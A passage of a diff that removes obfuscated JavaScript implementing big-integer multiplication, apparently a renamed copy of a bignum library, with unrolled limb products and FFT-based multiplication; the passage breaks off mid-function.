- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x277752, _0x4e8ec2) | 0) + Math.imul(_0x417c15, _0x33a52f) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x417c15, _0x4e8ec2) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x5dcb23, _0x27fe06) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5dcb23, _0x26806c) | 0) + Math.imul(_0x2caac0, _0x27fe06) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x2caac0, _0x26806c) | 0;
- var _0x19a2cc = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0x4cc03e, _0x9222f0) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x4cc03e, _0x55a369) | 0) + Math.imul(_0x5b5b46, _0x9222f0) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x5b5b46, _0x55a369) | 0) + (_0x4090bf >>> 13) | 0) + (_0x19a2cc >>> 26) | 0;
- _0x19a2cc &= 67108863;
- _0x4c5d12 = Math.imul(_0x2ad816, _0xe8af63);
- _0x4090bf = (_0x4090bf = Math.imul(_0x2ad816, _0x5eff64)) + Math.imul(_0x254d57, _0xe8af63) | 0;
- _0x5ce56f = Math.imul(_0x254d57, _0x5eff64);
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3a7070, _0x43e5a1) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3a7070, _0x413c24) | 0) + Math.imul(_0x26b2c0, _0x43e5a1) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x26b2c0, _0x413c24) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3c5b6f, _0x32efa3) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3c5b6f, _0x3f3bb8) | 0) + Math.imul(_0x452990, _0x32efa3) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x452990, _0x3f3bb8) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3816ca, _0x374c39) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3816ca, _0x2b8a85) | 0) + Math.imul(_0x575ea2, _0x374c39) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x575ea2, _0x2b8a85) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x162c72, _0xa65f8e) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x162c72, _0x263949) | 0) + Math.imul(_0x48a928, _0xa65f8e) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x48a928, _0x263949) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x5b66fd, _0x1b1a74) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5b66fd, _0x5e7900) | 0) + Math.imul(_0x21f471, _0x1b1a74) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x21f471, _0x5e7900) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0xd9df2f, _0x33a52f) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0xd9df2f, _0x4e8ec2) | 0) + Math.imul(_0x4daf36, _0x33a52f) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x4daf36, _0x4e8ec2) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x277752, _0x27fe06) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x277752, _0x26806c) | 0) + Math.imul(_0x417c15, _0x27fe06) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x417c15, _0x26806c) | 0;
- var _0x1bdf0c = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0x5dcb23, _0x9222f0) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5dcb23, _0x55a369) | 0) + Math.imul(_0x2caac0, _0x9222f0) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x2caac0, _0x55a369) | 0) + (_0x4090bf >>> 13) | 0) + (_0x1bdf0c >>> 26) | 0;
- _0x1bdf0c &= 67108863;
- _0x4c5d12 = Math.imul(_0x2ad816, _0x43e5a1);
- _0x4090bf = (_0x4090bf = Math.imul(_0x2ad816, _0x413c24)) + Math.imul(_0x254d57, _0x43e5a1) | 0;
- _0x5ce56f = Math.imul(_0x254d57, _0x413c24);
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3a7070, _0x32efa3) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3a7070, _0x3f3bb8) | 0) + Math.imul(_0x26b2c0, _0x32efa3) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x26b2c0, _0x3f3bb8) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3c5b6f, _0x374c39) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3c5b6f, _0x2b8a85) | 0) + Math.imul(_0x452990, _0x374c39) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x452990, _0x2b8a85) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3816ca, _0xa65f8e) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3816ca, _0x263949) | 0) + Math.imul(_0x575ea2, _0xa65f8e) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x575ea2, _0x263949) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x162c72, _0x1b1a74) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x162c72, _0x5e7900) | 0) + Math.imul(_0x48a928, _0x1b1a74) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x48a928, _0x5e7900) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x5b66fd, _0x33a52f) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5b66fd, _0x4e8ec2) | 0) + Math.imul(_0x21f471, _0x33a52f) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x21f471, _0x4e8ec2) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0xd9df2f, _0x27fe06) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0xd9df2f, _0x26806c) | 0) + Math.imul(_0x4daf36, _0x27fe06) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x4daf36, _0x26806c) | 0;
- var _0x1014e9 = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0x277752, _0x9222f0) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x277752, _0x55a369) | 0) + Math.imul(_0x417c15, _0x9222f0) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x417c15, _0x55a369) | 0) + (_0x4090bf >>> 13) | 0) + (_0x1014e9 >>> 26) | 0;
- _0x1014e9 &= 67108863;
- _0x4c5d12 = Math.imul(_0x2ad816, _0x32efa3);
- _0x4090bf = (_0x4090bf = Math.imul(_0x2ad816, _0x3f3bb8)) + Math.imul(_0x254d57, _0x32efa3) | 0;
- _0x5ce56f = Math.imul(_0x254d57, _0x3f3bb8);
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3a7070, _0x374c39) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3a7070, _0x2b8a85) | 0) + Math.imul(_0x26b2c0, _0x374c39) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x26b2c0, _0x2b8a85) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3c5b6f, _0xa65f8e) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3c5b6f, _0x263949) | 0) + Math.imul(_0x452990, _0xa65f8e) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x452990, _0x263949) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3816ca, _0x1b1a74) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3816ca, _0x5e7900) | 0) + Math.imul(_0x575ea2, _0x1b1a74) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x575ea2, _0x5e7900) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x162c72, _0x33a52f) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x162c72, _0x4e8ec2) | 0) + Math.imul(_0x48a928, _0x33a52f) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x48a928, _0x4e8ec2) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x5b66fd, _0x27fe06) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5b66fd, _0x26806c) | 0) + Math.imul(_0x21f471, _0x27fe06) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x21f471, _0x26806c) | 0;
- var _0x188d59 = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0xd9df2f, _0x9222f0) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0xd9df2f, _0x55a369) | 0) + Math.imul(_0x4daf36, _0x9222f0) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x4daf36, _0x55a369) | 0) + (_0x4090bf >>> 13) | 0) + (_0x188d59 >>> 26) | 0;
- _0x188d59 &= 67108863;
- _0x4c5d12 = Math.imul(_0x2ad816, _0x374c39);
- _0x4090bf = (_0x4090bf = Math.imul(_0x2ad816, _0x2b8a85)) + Math.imul(_0x254d57, _0x374c39) | 0;
- _0x5ce56f = Math.imul(_0x254d57, _0x2b8a85);
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3a7070, _0xa65f8e) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3a7070, _0x263949) | 0) + Math.imul(_0x26b2c0, _0xa65f8e) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x26b2c0, _0x263949) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3c5b6f, _0x1b1a74) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3c5b6f, _0x5e7900) | 0) + Math.imul(_0x452990, _0x1b1a74) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x452990, _0x5e7900) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3816ca, _0x33a52f) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3816ca, _0x4e8ec2) | 0) + Math.imul(_0x575ea2, _0x33a52f) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x575ea2, _0x4e8ec2) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x162c72, _0x27fe06) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x162c72, _0x26806c) | 0) + Math.imul(_0x48a928, _0x27fe06) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x48a928, _0x26806c) | 0;
- var _0x1f99d4 = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0x5b66fd, _0x9222f0) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x5b66fd, _0x55a369) | 0) + Math.imul(_0x21f471, _0x9222f0) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x21f471, _0x55a369) | 0) + (_0x4090bf >>> 13) | 0) + (_0x1f99d4 >>> 26) | 0;
- _0x1f99d4 &= 67108863;
- _0x4c5d12 = Math.imul(_0x2ad816, _0xa65f8e);
- _0x4090bf = (_0x4090bf = Math.imul(_0x2ad816, _0x263949)) + Math.imul(_0x254d57, _0xa65f8e) | 0;
- _0x5ce56f = Math.imul(_0x254d57, _0x263949);
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3a7070, _0x1b1a74) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3a7070, _0x5e7900) | 0) + Math.imul(_0x26b2c0, _0x1b1a74) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x26b2c0, _0x5e7900) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3c5b6f, _0x33a52f) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3c5b6f, _0x4e8ec2) | 0) + Math.imul(_0x452990, _0x33a52f) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x452990, _0x4e8ec2) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3816ca, _0x27fe06) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3816ca, _0x26806c) | 0) + Math.imul(_0x575ea2, _0x27fe06) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x575ea2, _0x26806c) | 0;
- var _0x4550cd = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0x162c72, _0x9222f0) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x162c72, _0x55a369) | 0) + Math.imul(_0x48a928, _0x9222f0) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x48a928, _0x55a369) | 0) + (_0x4090bf >>> 13) | 0) + (_0x4550cd >>> 26) | 0;
- _0x4550cd &= 67108863;
- _0x4c5d12 = Math.imul(_0x2ad816, _0x1b1a74);
- _0x4090bf = (_0x4090bf = Math.imul(_0x2ad816, _0x5e7900)) + Math.imul(_0x254d57, _0x1b1a74) | 0;
- _0x5ce56f = Math.imul(_0x254d57, _0x5e7900);
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3a7070, _0x33a52f) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3a7070, _0x4e8ec2) | 0) + Math.imul(_0x26b2c0, _0x33a52f) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x26b2c0, _0x4e8ec2) | 0;
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3c5b6f, _0x27fe06) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3c5b6f, _0x26806c) | 0) + Math.imul(_0x452990, _0x27fe06) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x452990, _0x26806c) | 0;
- var _0x1ffa38 = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0x3816ca, _0x9222f0) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3816ca, _0x55a369) | 0) + Math.imul(_0x575ea2, _0x9222f0) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x575ea2, _0x55a369) | 0) + (_0x4090bf >>> 13) | 0) + (_0x1ffa38 >>> 26) | 0;
- _0x1ffa38 &= 67108863;
- _0x4c5d12 = Math.imul(_0x2ad816, _0x33a52f);
- _0x4090bf = (_0x4090bf = Math.imul(_0x2ad816, _0x4e8ec2)) + Math.imul(_0x254d57, _0x33a52f) | 0;
- _0x5ce56f = Math.imul(_0x254d57, _0x4e8ec2);
- _0x4c5d12 = _0x4c5d12 + Math.imul(_0x3a7070, _0x27fe06) | 0;
- _0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3a7070, _0x26806c) | 0) + Math.imul(_0x26b2c0, _0x27fe06) | 0;
- _0x5ce56f = _0x5ce56f + Math.imul(_0x26b2c0, _0x26806c) | 0;
- var _0xb1171b = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0x3c5b6f, _0x9222f0) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3c5b6f, _0x55a369) | 0) + Math.imul(_0x452990, _0x9222f0) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x452990, _0x55a369) | 0) + (_0x4090bf >>> 13) | 0) + (_0xb1171b >>> 26) | 0;
- _0xb1171b &= 67108863;
- _0x4c5d12 = Math.imul(_0x2ad816, _0x27fe06);
- _0x4090bf = (_0x4090bf = Math.imul(_0x2ad816, _0x26806c)) + Math.imul(_0x254d57, _0x27fe06) | 0;
- _0x5ce56f = Math.imul(_0x254d57, _0x26806c);
- var _0x3ca152 = (_0x503f10 + (_0x4c5d12 = _0x4c5d12 + Math.imul(_0x3a7070, _0x9222f0) | 0) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = _0x4090bf + Math.imul(_0x3a7070, _0x55a369) | 0) + Math.imul(_0x26b2c0, _0x9222f0) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = _0x5ce56f + Math.imul(_0x26b2c0, _0x55a369) | 0) + (_0x4090bf >>> 13) | 0) + (_0x3ca152 >>> 26) | 0;
- _0x3ca152 &= 67108863;
- var _0x1355a5 = (_0x503f10 + (_0x4c5d12 = Math.imul(_0x2ad816, _0x9222f0)) | 0) + ((8191 & (_0x4090bf = (_0x4090bf = Math.imul(_0x2ad816, _0x55a369)) + Math.imul(_0x254d57, _0x9222f0) | 0)) << 13) | 0;
- _0x503f10 = ((_0x5ce56f = Math.imul(_0x254d57, _0x55a369)) + (_0x4090bf >>> 13) | 0) + (_0x1355a5 >>> 26) | 0;
- _0x1355a5 &= 67108863;
- _0x1e98ec[0] = _0xda0a2d;
- _0x1e98ec[1] = _0x57745f;
- _0x1e98ec[2] = _0x3662f0;
- _0x1e98ec[3] = _0x5c5767;
- _0x1e98ec[4] = _0x21847d;
- _0x1e98ec[5] = _0x313bf5;
- _0x1e98ec[6] = _0x7b6afc;
- _0x1e98ec[7] = _0x483f9c;
- _0x1e98ec[8] = _0x4a4b8e;
- _0x1e98ec[9] = _0x19a2cc;
- _0x1e98ec[10] = _0x1bdf0c;
- _0x1e98ec[11] = _0x1014e9;
- _0x1e98ec[12] = _0x188d59;
- _0x1e98ec[13] = _0x1f99d4;
- _0x1e98ec[14] = _0x4550cd;
- _0x1e98ec[15] = _0x1ffa38;
- _0x1e98ec[16] = _0xb1171b;
- _0x1e98ec[17] = _0x3ca152;
- _0x1e98ec[18] = _0x1355a5;
- 0 !== _0x503f10 && (_0x1e98ec[19] = _0x503f10, _0x3bf6fe.length++);
- return _0x3bf6fe;
- };
- function _0x270278(_0x595d6f, _0x416e5c, _0x37341c) {
- _0x37341c.negative = _0x416e5c.negative ^ _0x595d6f.negative;
- _0x37341c.length = _0x595d6f.length + _0x416e5c.length;
- for (var _0x2c9e21 = 0, _0x17e93f = 0, _0x5be5bf = 0; _0x5be5bf < _0x37341c.length - 1; _0x5be5bf++) {
- var _0x3a551e = _0x17e93f;
- _0x17e93f = 0;
- for (var _0x21739b = 67108863 & _0x2c9e21, _0x255756 = Math.min(_0x5be5bf, _0x416e5c.length - 1), _0x589f3b = Math.max(0, _0x5be5bf - _0x595d6f.length + 1); _0x589f3b <= _0x255756; _0x589f3b++) {
- var _0xc6be2a = _0x5be5bf - _0x589f3b;
- var _0x47f8dc = (0 | _0x595d6f.words[_0xc6be2a]) * (0 | _0x416e5c.words[_0x589f3b]);
- var _0xb9374c = 67108863 & _0x47f8dc;
- _0x21739b = 67108863 & (_0xb9374c = _0xb9374c + _0x21739b | 0);
- _0x17e93f += (_0x3a551e = (_0x3a551e = _0x3a551e + (_0x47f8dc / 67108864 | 0) | 0) + (_0xb9374c >>> 26) | 0) >>> 26;
- _0x3a551e &= 67108863;
- }
- _0x37341c.words[_0x5be5bf] = _0x21739b;
- _0x2c9e21 = _0x3a551e;
- _0x3a551e = _0x17e93f;
- }
- 0 !== _0x2c9e21 ? _0x37341c.words[_0x5be5bf] = _0x2c9e21 : _0x37341c.length--;
- return _0x37341c._strip();
- }
- function _0x470c2f(_0x5b04bf, _0x4c4529, _0x1025ad) {
- return _0x270278(_0x5b04bf, _0x4c4529, _0x1025ad);
- }
- function _0x2baffd(_0x8e2181, _0x5766f7) {
- this.x = _0x8e2181;
- this.y = _0x5766f7;
- }
- Math.imul || (_0x46c662 = _0x3ace3a);
- _0x2779a6.prototype.mulTo = function (_0x575adc, _0x1670c7) {
- var _0x40476e = this.length + _0x575adc.length;
- return 10 === this.length && 10 === _0x575adc.length ? _0x46c662(this, _0x575adc, _0x1670c7) : _0x40476e < 63 ? _0x3ace3a(this, _0x575adc, _0x1670c7) : _0x40476e < 1024 ? _0x270278(this, _0x575adc, _0x1670c7) : _0x470c2f(this, _0x575adc, _0x1670c7);
- };
- _0x2baffd.prototype.makeRBT = function (_0x4075fd) {
- for (var _0x57a820 = new Array(_0x4075fd), _0x182184 = _0x2779a6.prototype._countBits(_0x4075fd) - 1, _0x2bec35 = 0; _0x2bec35 < _0x4075fd; _0x2bec35++) {
- _0x57a820[_0x2bec35] = this.revBin(_0x2bec35, _0x182184, _0x4075fd);
- }
- return _0x57a820;
- };
- _0x2baffd.prototype.revBin = function (_0x8a1c8e, _0x112255, _0x199be7) {
- if (0 === _0x8a1c8e || _0x8a1c8e === _0x199be7 - 1) {
- return _0x8a1c8e;
- }
- for (var _0x109771 = 0, _0x2be038 = 0; _0x2be038 < _0x112255; _0x2be038++) {
- _0x109771 |= (1 & _0x8a1c8e) << _0x112255 - _0x2be038 - 1;
- _0x8a1c8e >>= 1;
- }
- return _0x109771;
- };
- _0x2baffd.prototype.permute = function (_0x55e41e, _0x57538b, _0x3e1ee4, _0x554898, _0x269efb, _0x141d51) {
- for (var _0x1f4262 = 0; _0x1f4262 < _0x141d51; _0x1f4262++) {
- _0x554898[_0x1f4262] = _0x57538b[_0x55e41e[_0x1f4262]];
- _0x269efb[_0x1f4262] = _0x3e1ee4[_0x55e41e[_0x1f4262]];
- }
- };
- _0x2baffd.prototype.transform = function (_0x46dbe5, _0x4b9b4a, _0x2fa2cc, _0x483388, _0x56d84c, _0x36566a) {
- this.permute(_0x36566a, _0x46dbe5, _0x4b9b4a, _0x2fa2cc, _0x483388, _0x56d84c);
- for (var _0x25b404 = 1; _0x25b404 < _0x56d84c; _0x25b404 <<= 1) {
- for (var _0x484f69 = _0x25b404 << 1, _0x47a494 = Math.cos(2 * Math.PI / _0x484f69), _0x5694c3 = Math.sin(2 * Math.PI / _0x484f69), _0x13b442 = 0; _0x13b442 < _0x56d84c; _0x13b442 += _0x484f69) {
- for (var _0x9917a = _0x47a494, _0x5afc34 = _0x5694c3, _0x34adaa = 0; _0x34adaa < _0x25b404; _0x34adaa++) {
- var _0x50f4ca = _0x2fa2cc[_0x13b442 + _0x34adaa];
- var _0x2b11c9 = _0x483388[_0x13b442 + _0x34adaa];
- var _0x3cd002 = _0x2fa2cc[_0x13b442 + _0x34adaa + _0x25b404];
- var _0x196da7 = _0x483388[_0x13b442 + _0x34adaa + _0x25b404];
- var _0x2358ed = _0x9917a * _0x3cd002 - _0x5afc34 * _0x196da7;
- _0x196da7 = _0x9917a * _0x196da7 + _0x5afc34 * _0x3cd002;
- _0x3cd002 = _0x2358ed;
- _0x2fa2cc[_0x13b442 + _0x34adaa] = _0x50f4ca + _0x3cd002;
- _0x483388[_0x13b442 + _0x34adaa] = _0x2b11c9 + _0x196da7;
- _0x2fa2cc[_0x13b442 + _0x34adaa + _0x25b404] = _0x50f4ca - _0x3cd002;
- _0x483388[_0x13b442 + _0x34adaa + _0x25b404] = _0x2b11c9 - _0x196da7;
- _0x34adaa !== _0x484f69 && (_0x2358ed = _0x47a494 * _0x9917a - _0x5694c3 * _0x5afc34, _0x5afc34 = _0x47a494 * _0x5afc34 + _0x5694c3 * _0x9917a, _0x9917a = _0x2358ed);
- }
- }
- }
- };
- _0x2baffd.prototype.guessLen13b = function (_0x2cf30e, _0x416f4d) {
- var _0x487f83 = 1 | Math.max(_0x416f4d, _0x2cf30e);
- var _0x2691ec = 1 & _0x487f83;
- var _0x39eb68 = 0;
- for (_0x487f83 = _0x487f83 / 2 | 0; _0x487f83; _0x487f83 >>>= 1) {
- _0x39eb68++;
- }
- return 1 << _0x39eb68 + 1 + _0x2691ec;
- };
- _0x2baffd.prototype.conjugate = function (_0x538d7f, _0xf65c7f, _0x5a4782) {
- if (!(_0x5a4782 <= 1)) {
- for (var _0x5ce6d6 = 0; _0x5ce6d6 < _0x5a4782 / 2; _0x5ce6d6++) {
- var _0x36d956 = _0x538d7f[_0x5ce6d6];
- _0x538d7f[_0x5ce6d6] = _0x538d7f[_0x5a4782 - _0x5ce6d6 - 1];
- _0x538d7f[_0x5a4782 - _0x5ce6d6 - 1] = _0x36d956;
- _0x36d956 = _0xf65c7f[_0x5ce6d6];
- _0xf65c7f[_0x5ce6d6] = -_0xf65c7f[_0x5a4782 - _0x5ce6d6 - 1];
- _0xf65c7f[_0x5a4782 - _0x5ce6d6 - 1] = -_0x36d956;
- }
- }
- };
- _0x2baffd.prototype.normalize13b = function (_0x39e097, _0x46a217) {
- for (var _0x478c5a = 0, _0x3347ce = 0; _0x3347ce < _0x46a217 / 2; _0x3347ce++) {
- var _0x560d09 = 8192 * Math.round(_0x39e097[2 * _0x3347ce + 1] / _0x46a217) + Math.round(_0x39e097[2 * _0x3347ce] / _0x46a217) + _0x478c5a;
- _0x39e097[_0x3347ce] = 67108863 & _0x560d09;
- _0x478c5a = _0x560d09 < 67108864 ? 0 : _0x560d09 / 67108864 | 0;
- }
- return _0x39e097;
- };
- _0x2baffd.prototype.convert13b = function (_0x3a5b8c, _0x225d46, _0x17cd7f, _0x9e75cd) {
- for (var _0x31aa96 = 0, _0x238a5b = 0; _0x238a5b < _0x225d46; _0x238a5b++) {
- _0x31aa96 += 0 | _0x3a5b8c[_0x238a5b];
- _0x17cd7f[2 * _0x238a5b] = 8191 & _0x31aa96;
- _0x31aa96 >>>= 13;
- _0x17cd7f[2 * _0x238a5b + 1] = 8191 & _0x31aa96;
- _0x31aa96 >>>= 13;
- }
- for (_0x238a5b = 2 * _0x225d46; _0x238a5b < _0x9e75cd; ++_0x238a5b) {
- _0x17cd7f[_0x238a5b] = 0;
- }
- _0x53d795(0 === _0x31aa96);
- _0x53d795(0 == (-8192 & _0x31aa96));
- };
- _0x2baffd.prototype.stub = function (_0x3c8807) {
- for (var _0x108a21 = new Array(_0x3c8807), _0x180a35 = 0; _0x180a35 < _0x3c8807; _0x180a35++) {
- _0x108a21[_0x180a35] = 0;
- }
- return _0x108a21;
- };
- _0x2baffd.prototype.mulp = function (_0x4f4a98, _0x5d2bea, _0x23d22e) {
- var _0x27da13 = 2 * this.guessLen13b(_0x4f4a98.length, _0x5d2bea.length);
- var _0x1b15ed = this.makeRBT(_0x27da13);
- var _0x141f19 = this.stub(_0x27da13);
- var _0x5bec10 = new Array(_0x27da13);
- var _0x267e0f = new Array(_0x27da13);
- var _0x3fad6f = new Array(_0x27da13);
- var _0x4cb252 = new Array(_0x27da13);
- var _0x2a1dce = new Array(_0x27da13);
- var _0x36b71c = new Array(_0x27da13);
- var _0x410a07 = _0x23d22e.words;
- _0x410a07.length = _0x27da13;
- this.convert13b(_0x4f4a98.words, _0x4f4a98.length, _0x5bec10, _0x27da13);
- this.convert13b(_0x5d2bea.words, _0x5d2bea.length, _0x4cb252, _0x27da13);
- this.transform(_0x5bec10, _0x141f19, _0x267e0f, _0x3fad6f, _0x27da13, _0x1b15ed);
- this.transform(_0x4cb252, _0x141f19, _0x2a1dce, _0x36b71c, _0x27da13, _0x1b15ed);
- for (var _0x16cb48 = 0; _0x16cb48 < _0x27da13; _0x16cb48++) {
- var _0x18c0bd = _0x267e0f[_0x16cb48] * _0x2a1dce[_0x16cb48] - _0x3fad6f[_0x16cb48] * _0x36b71c[_0x16cb48];
- _0x3fad6f[_0x16cb48] = _0x267e0f[_0x16cb48] * _0x36b71c[_0x16cb48] + _0x3fad6f[_0x16cb48] * _0x2a1dce[_0x16cb48];
- _0x267e0f[_0x16cb48] = _0x18c0bd;
- }
- this.conjugate(_0x267e0f, _0x3fad6f, _0x27da13);
- this.transform(_0x267e0f, _0x3fad6f, _0x410a07, _0x141f19, _0x27da13, _0x1b15ed);
- this.conjugate(_0x410a07, _0x141f19, _0x27da13);
- this.normalize13b(_0x410a07, _0x27da13);
- _0x23d22e.negative = _0x4f4a98.negative ^ _0x5d2bea.negative;
- _0x23d22e.length = _0x4f4a98.length + _0x5d2bea.length;
- return _0x23d22e._strip();
- };
- _0x2779a6.prototype.mul = function (_0x69dd2) {
- var _0x4b58ec = new _0x2779a6(null);
- _0x4b58ec.words = new Array(this.length + _0x69dd2.length);
- return this.mulTo(_0x69dd2, _0x4b58ec);
- };
- _0x2779a6.prototype.mulf = function (_0x45acc1) {
- var _0x126c6f = new _0x2779a6(null);
- _0x126c6f.words = new Array(this.length + _0x45acc1.length);
- return _0x470c2f(this, _0x45acc1, _0x126c6f);
- };
- _0x2779a6.prototype.imul = function (_0x46c0e4) {
- return this.clone().mulTo(_0x46c0e4, this);
- };
- _0x2779a6.prototype.imuln = function (_0x255677) {
- var _0x587b04 = _0x255677 < 0;
- _0x587b04 && (_0x255677 = -_0x255677);
- _0x53d795("number" == typeof _0x255677);
- _0x53d795(_0x255677 < 67108864);
- for (var _0x55d02b = 0, _0xbb4a18 = 0; _0xbb4a18 < this.length; _0xbb4a18++) {
